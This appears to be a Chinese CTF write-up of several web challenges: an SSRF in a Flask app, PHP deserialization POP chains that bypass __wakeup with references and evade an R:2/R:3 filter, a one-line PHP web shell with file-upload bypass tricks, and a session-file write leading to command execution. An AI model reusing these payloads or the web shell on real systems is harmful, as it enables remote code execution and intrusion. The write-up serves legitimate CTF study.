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考点：审计py代码

from flask import Flask, request, jsonifyimport requestsfrom flag import flag # 假设从 flag.py 文件中导入了 flag 函数app = Flask(__name__)@app.route('/', methods=['GET', 'POST'])def getinfo(): url = request.args.get('url') if url: # 请求url response = requests.get(url) content = response.text print(content) if "paluctf" in content: return flag else: return content else: response = { 'message': 200, # 这里是数值，不是字符串 'data': "Come sign in and get the flag!" } return jsonify(response)@app.route('/flag', methods=['GET', 'POST'])def flag1(): return "paluctf"if __name__ == '__main__': app.run(debug=True, host="0.0.0.0", port=80)

http://127.0.0.1:50258/?url=http://localhost/flag

R23 

考点：

1.采用&引用绕过_wakeup()魔术方法

2.PHP序列化中的R与r (frankli.site)

参考：PHP序列化中的R与r (frankli.site)

3.无用数据再引用绕过R:2

源代码：

<?phpshow_source(__FILE__);class a{    public function __get($a){        $this->b->love();    }}class b{    public function __destruct(){        $tmp = $this->c->name;    }    public function __wakeup(){        $this->c = "no!";        $this->b = $this->a;    }}class xk{    public function love(){       system($_GET['a']);    }}if(preg_match('/R:2|R:3/',$_GET['pop'])){    die("no");}unserialize($_GET['pop']);

出口函数：  xy类里面的system($_GET['a']);入口一看就是b类,__wakeup->__destruct->__get->love，越过wakeup魔术方法可采用数组模式 但没有 还可以采用&引用绕过

$s=new b();$s->c=&$s->b;$s->a=new a();$s->a->b=new xk();echo serialize($s);

得到O:1:"b":3:{s:1:"b";N;s:1:"c";R:2;s:1:"a";O:1:"a":1:{s:1:"b";O:2:"xk":0:{}}} 

if(preg_match('/R:2|R:3/',$_GET['pop'])){    die("no");}

但是题目不能出现R:2，加个无用数据再引用会变成R:4

$s=new b();$s->c=&$s->b;$s->a=new a();$s->a->b=new xk();$m=array();$m[0]='1';$m[1]=$s;echo serialize($m);

POC:

?pop=a:2:{i:0;s:1:"1";i:1;O:1:"b":3:{s:1:"b";N;s:1:"c";R:4;s:1:"a";O:1:"a":1:{s:1:"b";O:2:"xk":0:{}}}}&a=cat /f*

宇宙召唤 

考点：

1.不超过1KB的小马 <?=`$_GET[1]`;

2.*可以截断文件名 比如1php*.png=1.php

3.添加文件头绕过

CTFhub 文件上传漏洞 靶场实战通关攻略 - FreeBuf网络安全行业门户

按照考点做就行了 

php不行 一步一步修改 

my love

考点：

1.反序列化中session利用

2. 采用&引用绕过_wakeup()魔术方法

PHP session反序列化总结 - FreeBuf网络安全行业门户

CTFweb篇-反序列化和SESSION(一)_ctf session-CSDN博客

源码 ：

<?phpclass a{ public function __get($a){ $this->b->love(); }}class b{ public function __destruct(){ $tmp = $this->c->name; } public function __wakeup(){ $this->c = "no!"; $this->b = $this->a; }}class xk{ public function love(){ $a = $this->mylove; } public function __get($a){ if(preg_match("/\.|\.php/",$this->man)){ die("文件名不能有."); } file_put_contents($this->man,base64_decode($this->woman)); }}class end{ public function love(){ ($this->func)(); }}if(isset($_GET['pop'])){ unserialize($_GET['pop']); if(preg_match("/N$/",$_GET['test'])){ $tmp = $_GET['test']; }}else{ show_source(__FILE__); phpinfo();}if($$tmp['name']=='your are good!'){ echo 'ok!'; system($_GET['shell']);

根据代码发现 有两个函数出口 

file_put_contents($this->man,base64_decode($this->woman));($this->func)();

那我们就可以先利用第一个写入 session文件，然后利用第二个读取，从而RCE

 1.file_put_contents($this->man,base64_decode($this->woman));

<?phpclass a{ public $a;}class b{ public $a; public $b; public $c;}class xk{ public $man='/var/lib/php/session/sess_1';//phpinfo获取 public $woman='bmFtZXxzOjE0OiJ5b3VyIGFyZSBnb29kISI7';// name|s:14:"your are good!";}class end{}$m=new b();$m->b = &$m->c;$m->a = new a();$m->a->b = new xk();echo serialize($m);

得到如下  然后上传

O:1:"b":3:{s:1:"a";O:1:"a":2:{s:1:"a";N;s:1:"b";O:2:"xk":2:{s:3:"man";s:27:"/var/lib/php/session/sess_1";s:5:"woman";s:36:"bmFtZXxzOjE0OiJ5b3VyIGFyZSBnb29kISI7";}}s:1:"b";N;s:1:"c";R:7;}

2.下面读取session文件 

<?phpclass a{ public $a;}class b{ public $a; public $b; public $c;}class xk{ public $man='/var/lib/php/session/sess_1';//phpinfo获取 且定义文件名为1 public $woman='bmFtZXxzOjE0OiJ5b3VyIGFyZSBnb29kISI7';// name|s:14:"your are good!";}class end{ public $func='session_start';}$m=new b();$m->b = &$m->c;$m->a = new a();$m->a->b = new end();echo serialize($m);

O:1:"b":3:{s:1:"a";O:1:"a":2:{s:1:"a";N;s:1:"b";O:3:"end":1:{s:4:"func";s:13:"session_start";}}s:1:"b";N;s:1:"c";R:6;}

然后一起传参

?pop=O:1:"b":3:{s:1:"a";O:1:"a":1:{s:1:"b";O:3:"end":1:{s:4:"func";s:13:"session_start";}}s:1:"b";N;s:1:"c";R:5;}&test=_SESSION&shell=cat+f*

test=_SESSION读取序列化文件数据，这里要加个Cookie: PHPSESSID = 1 上面定义了文件名为1

小知识点：session的存放位置 - 三哥~！ - 博客园 (cnblogs.com)